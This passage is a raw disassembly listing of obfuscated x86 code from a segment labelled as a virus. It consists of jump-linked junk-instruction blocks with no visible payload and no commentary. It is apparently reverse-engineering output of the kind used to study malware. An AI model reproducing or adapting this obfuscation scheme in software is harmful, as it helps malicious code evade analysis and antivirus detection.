ebp pop ebp jmp loc_55C5F9 ; --------------------------------------------------------------------------- lodsb push 277Fh mov [esp], ecx push edx mov dl, 0D1h jmp loc_551FA3 ; --------------------------------------------------------------------------- loc_5506F6: ; CODE XREF: Virus___:0055BEB6j push dword ptr [esp] pop ecx add esp, 4 jmp loc_55E0AA ; --------------------------------------------------------------------------- loc_550702: ; CODE XREF: Virus___:0055F32Cj mov dh, ch mov bh, dh pop edx pop cx add bh, 6Fh sub al, bh jmp loc_551267 ; --------------------------------------------------------------------------- loc_550713: ; CODE XREF: Virus___:00560C43j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, 4 add edx, edi pop edi sub edx, 4 push edx jmp loc_561E98 ; --------------------------------------------------------------------------- loc_550735: ; CODE XREF: Virus___:00559F0Bj pop ebp push ebp mov ebp, esp jmp loc_555A45 ; --------------------------------------------------------------------------- loc_55073E: ; CODE XREF: Virus___:005575E3j pop ecx push eax jmp loc_561B03 ; --------------------------------------------------------------------------- loc_550745: ; CODE XREF: Virus___:00553F13j add ebx, 14F62FA5h and ebx, 7DA72DAh neg ebx shr ebx, 6 push ecx mov ecx, 5F433F38h jmp loc_552E00 ; --------------------------------------------------------------------------- loc_550761: ; CODE XREF: Virus___:0055583Ej xchg eax, ebx sub esp, 4 mov [esp], ebx jmp loc_564737 ; --------------------------------------------------------------------------- loc_55076D: ; CODE XREF: Virus___:00557394j pop edi push 2C64h mov [esp], esi push edx push edi jmp loc_559050 ; --------------------------------------------------------------------------- push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_554E37 ; --------------------------------------------------------------------------- loc_550791: ; CODE XREF: Virus___:00563046j mov esi, eax pop eax jmp loc_5572BE ; --------------------------------------------------------------------------- loc_550799: ; CODE XREF: Virus___:00556113j push edx push 54887473h pop edx push edi mov edi, 40A90795h neg edi dec edi sub edi, 0B43A44B9h add edx, edi pop edi jmp loc_559036 ; --------------------------------------------------------------------------- loc_5507B7: ; CODE XREF: Virus___:005502C1j xor ebx, 2E7253F0h push edx mov edx, 7B613716h dec edx and edx, 485F51FDh inc edx push ebx mov ebx, 37EE10E7h neg ebx xor ebx, 481D7C5Dh jmp loc_564368 ; --------------------------------------------------------------------------- loc_5507DE: ; CODE XREF: Virus___:00560666j sub esi, 0FE6E6AC8h or ecx, esi pop esi inc ecx jmp loc_55DE4C ; --------------------------------------------------------------------------- loc_5507ED: ; CODE XREF: Virus___:00554727j mov edi, esp add edi, 4 jmp loc_553F18 ; --------------------------------------------------------------------------- loc_5507FA: ; CODE XREF: Virus___:00562B8Cj add eax, ebx add eax, 2C10539Dh jmp loc_55C678 ; --------------------------------------------------------------------------- loc_550806: ; CODE XREF: Virus___:00552C96j add esp, 4 jmp loc_555B7D ; --------------------------------------------------------------------------- loc_55080E: ; CODE XREF: Virus___:00562923j add ebx, 1 shl ebx, 8 push edx mov edx, esp add edx, 4 push ebx mov ebx, 4 sub edx, ebx jmp loc_56208C ; --------------------------------------------------------------------------- loc_55082A: ; CODE XREF: Virus___:0055906Fj mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_556F48 ; --------------------------------------------------------------------------- loc_55083B: ; CODE XREF: Virus___:005540C3j mov ebp, [esp] push 4174h mov [esp], edi jmp loc_55CE84 ; --------------------------------------------------------------------------- loc_55084B: ; CODE XREF: Virus___:0056361Bj mov bl, ah push eax mov al, bl mov dh, al mov eax, [esp] add esp, 4 mov ebx, [esp] add esp, 4 pop ax sub dh, 48h add al, 0FDh add al, dh push ecx mov cl, 82h inc cl xor cl, 7Eh sub al, cl pop ecx pop edx push edx push esp pop edx add edx, 4 push ebx jmp loc_561287 ; --------------------------------------------------------------------------- loc_550885: ; CODE XREF: Virus___:0055E204j pop eax push edi mov edi, 0F4A7B0Dh add ebp, 0A9B0CDEh jmp loc_5529DA ; --------------------------------------------------------------------------- loc_550897: ; CODE XREF: Virus___:0055DA31j mov ebp, ebx pop ebx push ebp mov ebp, esp add ebp, 4 jmp loc_55953C ; --------------------------------------------------------------------------- loc_5508A8: ; CODE XREF: Virus___:0055BA6Fj mov edi, ecx pop ecx jmp loc_562D15 ; --------------------------------------------------------------------------- loc_5508B0: ; CODE XREF: Virus___:00558957j xor ecx, edi jmp loc_56050B ; --------------------------------------------------------------------------- loc_5508B7: ; CODE XREF: Virus___:00561001j add ecx, ebp pop ebp push edx mov edx, esp push 487Fh mov [esp], ebp jmp loc_557D69 ; --------------------------------------------------------------------------- loc_5508CA: ; CODE XREF: Virus___:00555FC8j push ecx mov ecx, 4096ADEh mov esi, 4096ADCh xor esi, ecx pop ecx add edi, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_56496E ; --------------------------------------------------------------------------- loc_5508E9: ; CODE XREF: Virus___:005614FBj add esp, 4 xchg eax, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_550909: ; CODE XREF: Virus___:00561417j push edx push ecx mov cl, ah mov dl, cl pop ecx mov bh, dl pop edx jmp loc_550C8C ; --------------------------------------------------------------------------- loc_550918: ; CODE XREF: Virus___:0056045Bj push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], eax push esp pop eax add eax, 4 push 36F5h mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp push eax jmp loc_557C91 ; --------------------------------------------------------------------------- loc_550942: ; CODE XREF: Virus___:0055061Bj add ebx, edi jmp loc_557519 ; --------------------------------------------------------------------------- loc_550949: ; CODE XREF: Virus___:0055FE60j pop edi xor ecx, ebp pop ebp push edx mov edx, ecx mov ebx, edx pop edx push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_55F0A9 ; --------------------------------------------------------------------------- loc_550965: ; CODE XREF: Virus___:0056392Bj xor [esp], ebp jmp loc_551291 ; --------------------------------------------------------------------------- loc_55096D: ; CODE XREF: Virus___:00553720j pop edx jmp loc_55D47A ; --------------------------------------------------------------------------- loc_550973: ; CODE XREF: Virus___:00552654j pop edi mov edi, eax mov eax, [esp] add esp, 4 not edi add edi, 5A6E75CBh or edi, 4D401975h push esi push eax push ebp mov ebp, 3794659Ch inc ebp jmp loc_55639A ; --------------------------------------------------------------------------- loc_55099B: ; CODE XREF: Virus___:0055FA1Fj add ebp, 4 sub ebp, 4 jmp loc_55B8DF ; --------------------------------------------------------------------------- loc_5509AC: ; CODE XREF: Virus___:0055B1F6j add dl, bl sub dl, 3Dh pop ebx add dl, 1 xor dl, 41h jmp loc_563849 ; --------------------------------------------------------------------------- loc_5509BD: ; CODE XREF: Virus___:0055A520j add ebx, ecx push edx mov edx, offset byte_50561F shl edx, 3 shl edx, 7 sub edx, 10747C4h or edx, 0FDA0AC6h add edx, 489309BAh jmp loc_559AD4 ; --------------------------------------------------------------------------- loc_5509E2: ; CODE XREF: Virus___:005572C6j pop esi neg edi xor edi, 2818207h push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push edi sub dword ptr [esp], 2C047D83h pop ecx jmp loc_550D25 ; --------------------------------------------------------------------------- loc_550A0F: ; CODE XREF: Virus___:0055C960j mov edi, 2 add ebp, 76843AE0h add ebp, edi push edx mov edx, 76843AE0h add ebp, 34AC1105h sub ebp, edx jmp loc_55CD6F ; --------------------------------------------------------------------------- loc_550A2F: ; CODE XREF: Virus___:0055731Bj sub esi, 13046C84h jmp loc_55EC72 ; --------------------------------------------------------------------------- loc_550A3A: ; CODE XREF: Virus___:0055C058j sub esp, 4 mov [esp], ebp jmp loc_5530CF ; --------------------------------------------------------------------------- loc_550A48: ; CODE XREF: Virus___:00563A7Dj add eax, 40F84A0Fh add eax, 36095CC5h inc eax shl eax, 2 xor eax, 83AB2084h sub esi, 75583499h jmp loc_563A37 ; --------------------------------------------------------------------------- loc_550A66: ; CODE XREF: Virus___:0055EF13j push di mov di, 0E2E8h xor bx, di mov di, [esp] add esp, 2 jmp loc_56115B ; --------------------------------------------------------------------------- loc_550A7B: ; CODE XREF: Virus___:0055EC03j sub esi, 35CD0B99h push ecx jmp loc_563FD4 ; --------------------------------------------------------------------------- loc_550A87: ; CODE XREF: Virus___:0055FD43j add edx, edi pop edi jmp loc_561F4C ; --------------------------------------------------------------------------- loc_550A8F: ; CODE XREF: Virus___:005633A9j push 74B5h mov [esp], edx push 0E03535Ch pop edx add edx, 706B5538h neg edx jmp loc_5642A9 ; --------------------------------------------------------------------------- loc_550AAA: ; CODE XREF: Virus___:0054FCE6j mov ebp, 3B0F4D6Dh shl ebp, 4 add ebp, 4F0B2934h add ebx, ebp mov ebp, [esp] jmp loc_55B452 ; --------------------------------------------------------------------------- loc_550AC2: ; CODE XREF: Virus___:005579F5j mov eax, 55CC228Eh sub eax, 23A00D22h sub eax, 0FFFFFFFFh shl eax, 6 jmp loc_55FC65 ; --------------------------------------------------------------------------- loc_550AD7: ; CODE XREF: Virus___:005541DFj xor edx, 30C62D74h add edx, 0F2443DEBh add esi, edx jmp loc_55EC02 ; --------------------------------------------------------------------------- loc_550AEA: ; CODE XREF: Virus___:00553D0Fj add dword ptr [esp], 4 push dword ptr [esp] pop ebx push ebp mov ebp, esp push ecx jmp loc_560C48 ; --------------------------------------------------------------------------- loc_550AFE: ; CODE XREF: Virus___:00550E79j mov eax, [esp] add esp, 4 xor edi, 20004102h add esi, 293E1E24h add esi, 63478C6h add esi, edi sub esi, 63478C6h push ebx jmp loc_5501BB ; --------------------------------------------------------------------------- loc_550B24: ; CODE XREF: Virus___:00560D85j mov [esp], ebx push edi push ebp push edi push 0BE203D8h jmp loc_55CF72 ; --------------------------------------------------------------------------- loc_550B34: ; CODE XREF: Virus___:00561567j push ebp push 68956102h pop ebp jmp loc_55B1FB ; --------------------------------------------------------------------------- loc_550B40: ; CODE XREF: Virus___:005642F0j add esi, 0A4E3423Dh and ebp, esi mov esi, [esp] add esp, 4 push eax jmp loc_554A89 ; --------------------------------------------------------------------------- loc_550B57: ; CODE XREF: Virus___:0055FD00j push edx push 701315F2h pop edx xor edx, 2A18615Ah push 1260h mov [esp], edx jmp loc_55F0A1 ; --------------------------------------------------------------------------- loc_550B71: ; CODE XREF: Virus___:0055DC5Aj pop ebx jmp loc_55A86F ; --------------------------------------------------------------------------- loc_550B77: ; CODE XREF: Virus___:0055E60Aj push bx push dx jmp loc_55116E ; --------------------------------------------------------------------------- loc_550B80: ; CODE XREF: Virus___:00557934j push ecx jmp loc_55A1E5 ; --------------------------------------------------------------------------- loc_550B86: ; CODE XREF: Virus___:0055DF46j add esp, 4 push dword ptr [esp] pop edx add esp, 4 sub edx, 0FFFFFFFFh xor edx, 9576D43Ah mov ebp, edx jmp loc_561100 ; --------------------------------------------------------------------------- loc_550BA6: ; CODE XREF: Virus___:00555BA6j push 1C48h jmp loc_5636B8 ; --------------------------------------------------------------------------- loc_550BB0: ; CODE XREF: Virus___:0055C34Ej mov ch, 69h sub dh, 0A5h sub dh, ch add dh, 0A5h pop ecx add al, 0E6h add al, 0C8h sub al, 0CEh add al, 98h add al, dh jmp loc_55E662 ; --------------------------------------------------------------------------- loc_550BCA: ; CODE XREF: Virus___:0055EE67j push 7CC7h mov [esp], eax mov eax, 1 sub esp, 4 jmp loc_552152 ; --------------------------------------------------------------------------- loc_550BDF: ; CODE XREF: Virus___:005566F1j add ebx, ebp add ebx, 65AC07CAh pop ebp sub ebx, 60220F4Ch add ebx, edx add ebx, 60220F4Ch push eax mov eax, 3B896CD5h jmp loc_54FE13 ; --------------------------------------------------------------------------- loc_550C01: ; CODE XREF: Virus___:005519DFj push ebx push edi mov edi, 1273520Fh mov ebx, 12AAB8A4h add ebx, edi pop edi jmp loc_555A13 ; --------------------------------------------------------------------------- loc_550C15: ; CODE XREF: Virus___:0056000Dj pop ebp add ebx, 0D8557282h xor esi, ebx pop ebx add esi, 0F9B2896h push ebp mov ebp, esp add ebp, 4 jmp loc_563EE2 ; --------------------------------------------------------------------------- loc_550C33: ; CODE XREF: Virus___:0055A443j mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, 6855833h jmp loc_55866D ; --------------------------------------------------------------------------- loc_550C4C: ; CODE XREF: Virus___:00557C50j neg ebx sub ebx, 0DA5EAB8Ah sub esp, 4 mov [esp], ebx jmp loc_561FFB ; --------------------------------------------------------------------------- loc_550C5F: ; CODE XREF: Virus___:00562F93j shr edx, 3 push esi mov esi, 0C9B24804h sub edx, esi pop esi sub eax, 2D2A4FACh sub eax, 44E03929h sub eax, 640A7652h sub eax, edx add eax, 640A7652h jmp loc_55A284 ; --------------------------------------------------------------------------- loc_550C86: ; CODE XREF: Virus___:0055B5BEj push edi jmp loc_559162 ; --------------------------------------------------------------------------- loc_550C8C: ; CODE XREF: Virus___:00550913j mov ax, [esp] add esp, 2 push ecx mov ch, 30h dec ch inc ch push cx jmp loc_5586B9 ; --------------------------------------------------------------------------- loc_550CA4: ; CODE XREF: Virus___:00562669j pop esp push esp pop dword ptr [esp] push ebp mov ebp, 4 jmp loc_561364 ; --------------------------------------------------------------------------- loc_550CB4: ; CODE XREF: Virus___:00559F53j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5547F0 ; --------------------------------------------------------------------------- loc_550CC8: ; CODE XREF: Virus___:0055256Bj sub eax, ebp pop ebp sub eax, ebx jmp loc_551A98 ; --------------------------------------------------------------------------- loc_550CD2: ; CODE XREF: Virus___:0055C4D4j mov [esp], ebx jmp loc_555560 ; --------------------------------------------------------------------------- loc_550CDA: ; CODE XREF: Virus___:0055AA69j mov edi, esp push esi mov esi, 6D2F56C5h jmp loc_561242 ; --------------------------------------------------------------------------- loc_550CE7: ; CODE XREF: Virus___:00551567j xor esi, [esp] xor [esp], esi jmp loc_55891B ; --------------------------------------------------------------------------- loc_550CF2: ; CODE XREF: Virus___:005517B9j sub edx, 4E3C1A34h push edx pop eax pop edx shl eax, 7 inc eax or eax, 756F4641h shr eax, 5 dec eax xor eax, 7BB7BFDh add ecx, eax mov eax, [esp] jmp loc_55EE6C ; --------------------------------------------------------------------------- loc_550D17: ; CODE XREF: Virus___:0055C404j push esi mov esi, 3F732F31h dec esi xchg eax, esi inc eax jmp loc_5505AF ; --------------------------------------------------------------------------- loc_550D25: ; CODE XREF: Virus___:00550A0Aj add ecx, 2C047D83h mov edx, ecx mov ecx, [esp] add esp, 4 pop edi sub dword ptr [esp+4], 19D229D3h add [esp+4], edx push eax mov eax, 19D229D3h add [esp+8], eax pop eax pop edx pop esi push 658Eh mov [esp], ebp push 24h push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_55351A ; --------------------------------------------------------------------------- loc_550D6E: ; CODE XREF: Virus___:00557B71j push 5168h jmp loc_54FF40 ; --------------------------------------------------------------------------- loc_550D78: ; CODE XREF: Virus___:00552B77j xchg edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_554284 ; --------------------------------------------------------------------------- loc_550D86: ; CODE XREF: Virus___:00562DB6j push ebp push ebp mov ebp, 4B1C6F09h jmp loc_55E138 ; --------------------------------------------------------------------------- loc_550D92: ; CODE XREF: Virus___:00557419j add esp, 4 push esi mov esi, 13562FBDh xor esi, 0DA1E6Fh sub esi, 22775527h sub esi, 0F114DCA7h add ecx, esi mov esi, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_560FAF ; --------------------------------------------------------------------------- loc_550DC6: ; CODE XREF: Virus___:0055C76Ej push eax jmp loc_55644C ; --------------------------------------------------------------------------- loc_550DCC: ; CODE XREF: Virus___:0056118Dj push ecx jmp loc_555F74 ; --------------------------------------------------------------------------- loc_550DD2: ; CODE XREF: Virus___:0055D154j xor ebx, 70DC23A2h add eax, ebx pop ebx push 5ECEh mov [esp], ebp push eax mov eax, 5465418Ch shl eax, 3 shr eax, 2 neg eax sub esp, 4 jmp loc_559EF9 ; --------------------------------------------------------------------------- loc_550DF9: ; CODE XREF: Virus___:00561CD2j push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_5587F1 ; --------------------------------------------------------------------------- loc_550E07: ; CODE XREF: Virus___:00563275j mov [esp], ebx jmp loc_55118A ; --------------------------------------------------------------------------- loc_550E0F: ; CODE XREF: Virus___:00550208j neg edi push 417Fh mov [esp], edx mov edx, 0D0F140Ch neg edx sub edx, 0CD7190ABh add edi, 1FD2239Bh sub edi, edx sub edi, 1FD2239Bh mov edx, [esp] add esp, 4 sub ebx, edi jmp loc_558EDD ; --------------------------------------------------------------------------- loc_550E41: ; CODE XREF: Virus___:00556726j pop ecx mov edx, ebx jmp loc_551548 ; --------------------------------------------------------------------------- loc_550E49: ; CODE XREF: Virus___:00557708j mov bl, 0B4h add bl, ah jmp loc_5625CB ; --------------------------------------------------------------------------- loc_550E52: ; CODE XREF: Virus___:0055A6D8j mov [esp], esi push 70B13F63h pop esi sub esp, 4 mov [esp], ebp mov ebp, 32324B59h xor esi, ebp pop ebp mov ebx, esi pop esi push 4283747Ah jmp loc_55F313 ; --------------------------------------------------------------------------- loc_550E76: ; CODE XREF: Virus___:005642FFj pop edx and edi, eax jmp loc_550AFE ; --------------------------------------------------------------------------- loc_550E7E: ; CODE XREF: Virus___:00552367j shl edi, 1 jmp loc_55B68E ; --------------------------------------------------------------------------- loc_550E85: ; CODE XREF: Virus___:00564929j add ecx, 3AEC66A3h add ecx, esi sub ecx, 3AEC66A3h push edi mov edi, 44B66CEDh sub ecx, edi pop edi pop esi push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_55B044 ; --------------------------------------------------------------------------- loc_550EAB: ; CODE XREF: Virus___:0055E8EAj pop esi pop dword ptr [esp] xchg eax, esi not eax xchg eax, esi jmp loc_55373A ; --------------------------------------------------------------------------- loc_550EB8: ; CODE XREF: Virus___:00551477j mov edx, 683D1DB8h or edx, 4B3E7004h xor edx, 51E50C95h sub esi, 3EE525D2h sub esi, edx add esi, 3EE525D2h pop edx not esi inc esi push edi mov edi, 0EE184DEDh xor esi, edi pop edi jmp loc_550254 ; --------------------------------------------------------------------------- loc_550EE9: ; CODE XREF: Virus___:0055D63Ej push ecx mov ecx, 61A4179Ah inc ecx xor ecx, 582F0C57h and ecx, 2FD85598h not ecx and ecx, 5FD17A2Bh add ecx, 0BBD706h or esi, ecx pop ecx and esi, 19EF215Dh or esi, 573D265Fh jmp loc_5647C3 ; --------------------------------------------------------------------------- loc_550F1E: ; CODE XREF: Virus___:00551984j mov edx, 3A954959h push edi mov edi, 44465BDAh jmp loc_5617AF ; --------------------------------------------------------------------------- loc_550F2E: ; CODE XREF: Virus___:0055612Ej xor esi, 2AC201EDh push eax push 670A788Eh pop eax and esi, eax jmp loc_5510F7 ; --------------------------------------------------------------------------- loc_550F42: ; CODE XREF: Virus___:005529C7j sub ebx, edx pop edx push edx push eax mov eax, 645A16C7h push eax jmp loc_557E8B ; --------------------------------------------------------------------------- loc_550F52: ; CODE XREF: Virus___:0055AED7j sub dword ptr [esp], 24A410Bh jmp loc_56450A ; --------------------------------------------------------------------------- loc_550F5E: ; CODE XREF: Virus___:0055818Ej sub edi, 6DE7C1Ch mov ebx, edi mov edi, [esp] add esp, 4 jmp loc_5594FE ; --------------------------------------------------------------------------- loc_550F71: ; CODE XREF: Virus___:005634BEj dec edi add edi, 33677CD3h add eax, 779F3FEFh add eax, edi sub eax, 779F3FEFh pop edi add eax, 2 sub esp, 4 mov [esp], eax jmp loc_555CD7 ; --------------------------------------------------------------------------- loc_550F98: ; CODE XREF: Virus___:005605AAj mov ebp, 578E2E15h shl ebp, 8 jmp loc_557890 ; --------------------------------------------------------------------------- push 1A8Bh mov [esp], eax push 0F06h jmp loc_5582D0 ; --------------------------------------------------------------------------- loc_550FB7: ; CODE XREF: Virus___:00557BFFj xchg edx, [esp] jmp loc_55AD89 ; --------------------------------------------------------------------------- loc_550FBF: ; CODE XREF: Virus___:005556E6j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55D09C ; --------------------------------------------------------------------------- loc_550FCD: ; CODE XREF: Virus___:00564134j push 3785h mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_55CB5F ; --------------------------------------------------------------------------- loc_550FDF: ; CODE XREF: Virus___:00559F6Ej add esp, 4 jmp loc_56327A ; --------------------------------------------------------------------------- loc_550FE7: ; CODE XREF: Virus___:00553754j add ebp, 4 jmp loc_55B5E5 ; --------------------------------------------------------------------------- loc_550FEF: ; CODE XREF: Virus___:00561B94j pop esi xchg ebx, [esp] mov esp, [esp] mov [esp], ecx push dword ptr [esp+4] jmp loc_55BB7A ; --------------------------------------------------------------------------- loc_551002: ; CODE XREF: Virus___:0055576Fj xchg edi, [esp] mov esp, [esp] mov [esp], edx push 5FA2h mov [esp], ecx mov ecx, 295B38C2h jmp loc_55234F ; --------------------------------------------------------------------------- loc_55101D: ; CODE XREF: Virus___:00552FC4j add esi, edx jmp loc_553E48 ; --------------------------------------------------------------------------- loc_551024: ; CODE XREF: Virus___:00563B74j push 219Eh jmp loc_558E65 ; --------------------------------------------------------------------------- loc_55102E: ; CODE XREF: Virus___:005574BCj xor eax, esi jmp loc_55D311 ; --------------------------------------------------------------------------- loc_551035: ; CODE XREF: Virus___:005617A1j pop ecx jmp loc_551E60 ; --------------------------------------------------------------------------- loc_55103B: ; CODE XREF: Virus___:0055AC79j xor edi, edx pop edx jmp loc_55A876 ; --------------------------------------------------------------------------- loc_551043: ; CODE XREF: Virus___:00560EFBj push 5DB50915h pop ebx and ebx, 105421EFh xor ebx, 5B422304h jmp loc_556C07 ; --------------------------------------------------------------------------- loc_55105A: ; CODE XREF: Virus___:00552E88j add esp, 4 jmp loc_55EAC6 ; --------------------------------------------------------------------------- loc_551062: ; CODE XREF: Virus___:005505A4j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp push 1E2Eh mov [esp], ecx mov ecx, 3E604727h sub esp, 4 mov [esp], ecx sub dword ptr [esp], 14F06BB6h pop ebp jmp loc_561910 ; --------------------------------------------------------------------------- loc_551096: ; CODE XREF: Virus___:0055F459j and ebp, 2E2B24D1h jmp loc_560FFA ; --------------------------------------------------------------------------- loc_5510A1: ; CODE XREF: Virus___:00555749j mov ah, cl push dword ptr [esp] jmp loc_5504BB ; --------------------------------------------------------------------------- loc_5510AB: ; CODE XREF: Virus___:0055566Bj push edi mov edi, 49757417h add esi, edi pop edi add esi, edx sub esi, 49757417h push ebp mov ebp, 33112B44h sub esi, ebp mov ebp, [esp] add esp, 4 mov edx, [esp] add esp, 4 push edi mov edi, 612408DDh jmp loc_5550F6 ; --------------------------------------------------------------------------- loc_5510DB: ; CODE XREF: Virus___:00555DC2j mov cl, 4Fh push 5332h jmp loc_55FCE0 ; --------------------------------------------------------------------------- loc_5510E7: ; CODE XREF: Virus___:005586B4j push 6384h mov [esp], ecx push edi mov edi, esp jmp loc_5637C6 ; --------------------------------------------------------------------------- loc_5510F7: ; CODE XREF: Virus___:00550F3Dj pop eax shr esi, 5 or esi, 1B6D6ACEh dec esi push edx push esp pop edx add edx, 4 push esi mov esi, 4 sub edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp jmp loc_551391 ; --------------------------------------------------------------------------- loc_551125: ; CODE XREF: Virus___:0055C669j sub eax, 0DCCDB2DBh mov esi, eax pop eax add esi, 0B24588D8h sub ebx, 493F5A93h jmp loc_55A2A0 ; --------------------------------------------------------------------------- loc_55113E: ; CODE XREF: Virus___:0055C979j mov ebp, 45B7736Dh push esi mov esi, 174475EAh not esi push 6B81h mov [esp], ebp mov ebp, 0EE157DAh jmp loc_55E352 ; --------------------------------------------------------------------------- loc_55115D: ; CODE XREF: Virus___:0055A312j sub esp, 4 mov [esp], ebp push esi mov esi, 6D5E21CCh jmp loc_5527B4 ; --------------------------------------------------------------------------- loc_55116E: ; CODE XREF: Virus___:00550B7Bj mov dx, 551Fh sub [esp+2], dx pop dx mov di, [esp] jmp loc_557E9E ; --------------------------------------------------------------------------- loc_551182: ; CODE XREF: Virus___:00551CBDj mov esi, [esp] jmp loc_55FDF5 ; --------------------------------------------------------------------------- loc_55118A: ; CODE XREF: Virus___:00550E0Aj mov ebx, esp push ecx mov ecx, 353137A3h sub ecx, 3531379Fh add ebx, ecx pop ecx push ebp mov ebp, 173D4929h sub ebp, 0DC440361h add ebp, 52D96328h push ecx mov ecx, 4899611Ch jmp loc_55EEA0 ; --------------------------------------------------------------------------- loc_5511B8: ; CODE XREF: Virus___:0055A80Cj add edx, 4 add edx, 4 xor edx, [esp] jmp loc_56199E ; --------------------------------------------------------------------------- loc_5511CC: ; CODE XREF: Virus___:0055EC83j pop ecx inc eax or eax, 13F764A1h jmp loc_563DAF ; --------------------------------------------------------------------------- loc_5511D8: ; CODE XREF: Virus___:0056464Bj pop dword ptr [esp] push ecx jmp loc_55E35A ; --------------------------------------------------------------------------- loc_5511E1: ; CODE XREF: Virus___:0055CCDFj mov esp, [esp] btc [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5511EF: ; CODE XREF: Virus___:005546C6j pop eax sub esp, 4 mov [esp], edx push ecx mov ecx, 36BB2BCDh shr ecx, 8 or ecx, 0DA84E97h jmp loc_55F9F9 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55A6ED ; --------------------------------------------------------------------------- loc_551216: ; CODE XREF: Virus___:00551DA7j mov edi, 2941241h add eax, edi pop edi add eax, 41CC133Bh jmp loc_553E72 ; --------------------------------------------------------------------------- loc_551228: ; CODE XREF: Virus___:005566DDj sub edx, 0F6127D0Fh sub edi, 31335484h add edi, edx add edi, 31335484h jmp loc_558C94 ; --------------------------------------------------------------------------- loc_551241: ; CODE XREF: Virus___:00554872j inc al neg al add al, 94h shl al, 1 xor al, 40h or dh, al pop eax xchg bh, dh inc bh xchg bh, dh and dh, 6Dh add dh, 57h push 3052h mov [esp], edx jmp loc_555DBC ; --------------------------------------------------------------------------- loc_551267: ; CODE XREF: Virus___:0055070Ej mov ebx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], ebp mov ebp, 2 sub edi, ebp mov ebp, [esp] jmp loc_55BFBB ; --------------------------------------------------------------------------- loc_551291: ; CODE XREF: Virus___:00550968j xor ebp, [esp] mov esp, [esp] jmp loc_55490D ; --------------------------------------------------------------------------- loc_55129C: ; CODE XREF: Virus___:00555750j add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 416923C3h xor esi, edx pop edx push esi jmp loc_563103 ; --------------------------------------------------------------------------- loc_5512C0: ; CODE XREF: Virus___:00560C01j xor [esp], ebx jmp loc_55585E ; --------------------------------------------------------------------------- loc_5512C8: ; CODE XREF: Virus___:00557584j mov ax, [esp] push edi push esp pop edi add edi, 4 jmp loc_55534F ; --------------------------------------------------------------------------- loc_5512DA: ; CODE XREF: Virus___:00563893j and esi, 2C2D755Ch add esi, 0DBD68AF4h add ebp, esi pop esi jmp loc_56117F ; --------------------------------------------------------------------------- loc_5512EE: ; CODE XREF: Virus___:005584D1j add edi, 4 push ebx jmp loc_553B3C ; --------------------------------------------------------------------------- loc_5512FA: ; CODE XREF: Virus___:00554738j sub ecx, esi push dword ptr [esp] pop esi add esp, 4 add eax, ecx pop ecx sub eax, 5E556DBFh jmp loc_55CD7A ; --------------------------------------------------------------------------- loc_551310: ; CODE XREF: Virus___:00555F27j not esi add esi, 0CE41299h inc esi jmp loc_55D377 ; --------------------------------------------------------------------------- loc_55131E: ; CODE XREF: Virus___:0056190Bj pop ebx add esp, 4 jmp loc_563EDC ; --------------------------------------------------------------------------- loc_55132A: ; CODE XREF: Virus___:00564120j add esp, 4 jmp loc_55C3DE ; --------------------------------------------------------------------------- loc_551335: ; CODE XREF: Virus___:00564026j sub edi, esi jmp loc_55C7AC ; --------------------------------------------------------------------------- loc_55133C: ; CODE XREF: Virus___:00551A89j pop esp push ecx mov cl, 9Fh and cl, 0F4h sub cl, 6Ch sub al, cl jmp loc_555AAE ; --------------------------------------------------------------------------- loc_55134D: ; CODE XREF: Virus___:0055218Aj pop edi jmp loc_552F32 ; --------------------------------------------------------------------------- loc_551353: ; CODE XREF: Virus___:00564C25j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 xor edi, [esp] jmp loc_560D39 ; --------------------------------------------------------------------------- loc_55136B: ; CODE XREF: Virus___:0055B99Bj add esp, 4 add edx, 4 push edi push esi jmp loc_563B65 ; --------------------------------------------------------------------------- loc_55137B: ; CODE XREF: Virus___:005587DEj sub ebp, 0A0EF3899h jmp loc_558841 ; --------------------------------------------------------------------------- loc_551386: ; CODE XREF: Virus___:00556643j sub esi, 25B71EE6h jmp loc_563EBE ; --------------------------------------------------------------------------- loc_551391: ; CODE XREF: Virus___:00551120j mov [esp], eax push ebx mov ebx, 76F0000Dh jmp loc_552914 ; --------------------------------------------------------------------------- loc_55139F: ; CODE XREF: Virus___:0055E11Cj mov ecx, 7EE64B83h not ecx jmp loc_564C2A ; --------------------------------------------------------------------------- loc_5513AB: ; CODE XREF: Virus___:00561098j add edi, 6D7020A1h and edi, 0CFD27FDh push ebp mov ebp, 49923B9h jmp loc_55C28B ; --------------------------------------------------------------------------- loc_5513C2: ; CODE XREF: Virus___:0054FE57j add ah, cl pop ecx mov dh, ah mov eax, [esp] add esp, 4 add dh, 1 jmp loc_55BA24 ; --------------------------------------------------------------------------- loc_5513D8: ; CODE XREF: Virus___:00562033j mov edx, 61026A21h jmp loc_5519D2 ; --------------------------------------------------------------------------- loc_5513E2: ; CODE XREF: Virus___:005594E0j sub ecx, ebx pop ebx pop eax jmp loc_551CC2 ; 